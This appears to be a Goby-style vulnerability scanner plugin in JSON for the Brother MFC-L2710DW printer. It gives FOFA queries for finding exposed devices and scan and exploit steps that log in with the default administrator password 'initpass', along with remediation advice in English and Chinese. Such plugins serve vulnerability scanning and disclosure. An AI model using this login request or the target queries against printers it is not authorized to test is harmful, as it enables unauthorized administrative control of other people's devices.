{
  "Name": "MFC-L2710DW default password vulnerability",
  "Description": "<p>The MFC-L2710DW is a printer device. The device has a default password, and attackers can control the entire platform through the default password (password: initpass) vulnerability, and use administrator privileges to operate core functions.<br></p>",
  "Product": "MFC-L2710DW",
  "Homepage": "https://support.brother.com/",
  "DisclosureDate": "2022-04-09",
  "Author": "13eczou",
  "FofaQuery": "title==\"Brother MFC-L2710DW series\"",
  "GobyQuery": "title==\"Brother MFC-L2710DW series\"",
  "Level": "1",
  "Impact": "<p>Attackers can control the entire platform through the default password （initpass） vulnerability, and use administrator privileges to operate core functions.<br></p>",
  "Recommendation": "<p>1. Modify the default password. The password should preferably contain uppercase and lowercase letters, numbers and special characters, and the number of digits is greater than 8.</p><p>2. If it is not necessary, it is forbidden to access the system from the public network.</p><p>3. Set access policies and whitelist access through security devices such as firewalls.</p>",
  "References": [
    "https://fofa.info/"
  ],
  "Is0day": false,
  "HasExp": true,
  "ExpParams": [],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "POST",
        "uri": "/general/status.html",
        "follow_redirect": false,
        "header": {
          "Content-Type": "application/x-www-form-urlencoded"
        },
        "data_type": "text",
        "data": "CSRFToken=lPRQjQ5KASuaRuxSkRh7KmQIYWY602w4AA%3D%3D&B8d5=initpass&loginurl=%2Fgeneral%2Fstatus.html"
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "301",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$head",
            "operation": "contains",
            "value": "Set-Cookie",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$head",
            "operation": "contains",
            "value": "AuthCookie",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "method": "POST",
        "uri": "/general/status.html",
        "follow_redirect": false,
        "header": {
          "Content-Type": "application/x-www-form-urlencoded"
        },
        "data_type": "text",
        "data": "CSRFToken=lPRQjQ5KASuaRuxSkRh7KmQIYWY602w4AA%3D%3D&B8d5=initpass&loginurl=%2Fgeneral%2Fstatus.html"
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "301",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$head",
            "operation": "contains",
            "value": "Set-Cookie",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$head",
            "operation": "contains",
            "value": "AuthCookie",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        "output|lastbody|text|(密码：initpass)"
      ]
    }
  ],
  "Tags": [
    "default Password"
  ],
  "VulType": [
    "default Password"
  ],
  "CVEIDs": [
    ""
  ],
  "CNNVD": [
    ""
  ],
  "CNVD": [
    ""
  ],
  "CVSSScore": "5.0",
  "Translation": {
    "CN": {
      "Name": "MFC-L2710DW 默认口令漏洞",
      "Product": "MFC-L2710DW ",
      "Description": "<p><span style=\"font-size: medium;\"><span style=\"color: rgb(0, 0, 0);\">MFC-L2710DW&nbsp;&nbsp;</span>是一款打印机设备。该设备存在默认口令，<span style=\"color: rgb(53, 53, 53);\">攻击者可通过默认口令（密码：initpass）漏洞控制整个平台，使用管理员权限操作核心的功能。</span></span><br></p>",
      "Recommendation": "<p>1、修改默认口令，密码最好包含大小写字母、数字和特殊字符等，且位数大于8位。</p><p>2、如非必要，禁止公网访问该系统。</p><p>3、通过防火墙等安全设备设置访问策略，设置白名单访问。</p>",
      "Impact": "<p><span style=\"font-size: medium; color: rgb(53, 53, 53);\">攻击者可通过默认口令（密码：initpass）漏洞控制整个平台，使用管理员权限操作核心的功能。</span><br></p>",
      "VulType": [
        "默认口令"
      ],
      "Tags": [
        "默认口令"
      ]
    },
    "EN": {
      "Name": "MFC-L2710DW default password vulnerability",
      "Product": "MFC-L2710DW",
      "Description": "<p>The MFC-L2710DW is a printer device. The device has a default password, and attackers can control the entire platform through the default password (password: initpass) vulnerability, and use administrator privileges to operate core functions.<br></p>",
      "Recommendation": "<p>1. Modify the default password. The password should preferably contain uppercase and lowercase letters, numbers and special characters, and the number of digits is greater than 8.</p><p>2. If it is not necessary, it is forbidden to access the system from the public network.</p><p>3. Set access policies and whitelist access through security devices such as firewalls.</p>",
      "Impact": "<p>Attackers can control the entire platform through the default password （initpass） vulnerability, and use administrator privileges to operate core functions.<br></p>",
      "VulType": [
        "default Password"
      ],
      "Tags": [
        "default Password"
      ]
    }
  },
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}